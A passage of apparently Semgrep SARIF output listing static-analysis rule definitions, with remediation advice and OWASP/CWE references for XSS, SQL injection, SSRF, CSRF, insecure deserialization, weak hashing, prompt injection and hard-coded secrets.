Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","id":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","name":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url","id":"typescript.react.react-create-element-href-url.react-create-element-href-url","name":"typescript.react.react-create-element-href-url.react-create-element-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-href-url.react-create-element-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","id":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","name":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fileaccess.swift-webview-config-allows-file-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format-grpc.httpclient-taint-format-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"help":{"markdown":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#https_only)\n - [https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https](https://docs.microsoft.com/en-us/azure/app-service/configure-ssl-bindings#enforce-https)\n","text":"By default, clients can connect to App Service by using both HTTP or HTTPS. HTTP should be disabled enabling the HTTPS Only setting."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","id":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","name":"terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-https-only.appservice-enable-https-only"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests)\n - [https://github.com/rest-client/rest-client](https://github.com/rest-client/rest-client)\n - [https://github.com/jnunemaker/httparty/tree/master/docs](https://github.com/jnunemaker/httparty/tree/master/docs)\n","text":"Checks for requests to http (unencrypted) sites using some of ruby's most popular REST/HTTP libraries, including httparty and restclient."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","id":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","name":"problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.http-client-requests.http-client-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Data that is possible user-controlled from a python request is passed to `raw()`. This could lead to SQL injection and attackers gaining access to protected information. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","id":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","name":"python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-raw.sql-injection-using-raw"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"help":{"markdown":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives)\n","text":"Pervasives is deprecated and will not be available after 4.10. Use Stdlib."},"helpUri":"https://semgrep.dev/r/ocaml.lang.compatibility.deprecated.deprecated-pervasives","id":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","name":"ocaml.lang.compatibility.deprecated.deprecated-pervasives","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.compatibility.deprecated.deprecated-pervasives"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"help":{"markdown":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure WebSocket Detected. WebSocket Secure (wss) should be used for all WebSocket connections."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","id":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","name":"javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-insecure-websocket.detect-insecure-websocket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"help":{"markdown":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`$STR.replace` method will only replace the first occurrence when used with a string argument ($CHAR). If this method is used for escaping of dangerous data then there is a possibility for a bypass. Try to use sanitization library instead or use a Regex with a global flag."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","id":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","name":"javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.incomplete-sanitization.incomplete-sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://pkg.go.dev/golang.org/x/crypto/bcrypt](https://pkg.go.dev/golang.org/x/crypto/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `golang.org/x/crypto/bcrypt` package."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"go.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected data rendered directly to the end user via 'Response'. This bypasses Pyramid's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Pyramid's template engines to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","id":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","name":"python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.direct-use-of-response.pyramid-direct-use-of-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","id":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","name":"python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httplib2.tainted-django-http-request-httplib2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","id":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","name":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django","id":"python.django.ai.prompt-injection-django.prompt-injection-django","name":"python.django.ai.prompt-injection-django.prompt-injection-django","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.ai.prompt-injection-django.prompt-injection-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection","id":"java.lang.security.audit.ognl-injection.ognl-injection","name":"java.lang.security.audit.ognl-injection.ognl-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ognl-injection.ognl-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep 